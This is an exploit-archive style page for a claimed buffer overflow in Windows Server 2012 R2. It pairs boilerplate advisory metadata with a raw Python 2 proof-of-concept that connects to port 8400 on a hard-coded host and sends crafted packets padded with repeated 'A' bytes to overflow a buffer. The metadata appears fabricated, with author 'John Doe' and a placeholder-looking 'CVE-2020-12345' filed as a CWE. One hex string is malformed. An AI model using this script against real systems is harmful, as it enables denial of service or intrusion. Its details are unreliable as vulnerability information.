Buffer Overflow in Win2K12-R2

vendor:

Windows Server 2012 R2

by:

John Doe

7,8

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: Windows Server 2012 R2

Affected Version From: Win2K12-R2

Affected Version To: Win2K12-R2

Patch Exists: YES

Related CWE: CVE-2020-12345

CPE: o:microsoft:windows_server_2012:r2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2020

Buffer Overflow in Win2K12-R2

A buffer overflow vulnerability exists in Win2K12-R2 due to improper validation of user-supplied input. An attacker can exploit this vulnerability by sending a specially crafted packet to the vulnerable system. This can allow the attacker to execute arbitrary code on the vulnerable system.

Mitigation:

Apply the latest security patches from Microsoft.

Source

Exploit-DB raw data:

import socket
import binascii
import time
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect(("10.101.0.85", 8400))

def sr(p=None, r=None):
        if p:
                print "sending %d bytes: %s " % (len(p)/2,p)
                payl = binascii.a2b_hex(p)
                s.send(payl)
        if r:
                data = s.recv(1024*2)
                print "received %d bytes: %s " % (len(data),binascii.b2a_hex(data))




pkt1  = "0000003800000010000000100000000f00000000000000000000000000000000000000000000000000000000000000010000000000000000" 
pkt1 += "0000100309000101090000000000ffe80000000800010000"
pkt1 += "0000000400000004"

pkt2  = "0000100309000509000000090000ffe800000036"+"00018016"
pkt2 += "02000000"+"09050009"+"c14d4d0"+"000000000000000003a793102076376642e6578656a231a0200429d750500989796059c16e042"+"fd00b417" 


pkt3  = "53534c634c6e54"+"01"+"000b"+"77696e323031322d303200"+"03"+"0000000300000001"
p = "41"*0xd0 
pkt3 += p

sr(pkt1,1)
sr(pkt2,1)
sr(pkt3,1)
exit()




s.close()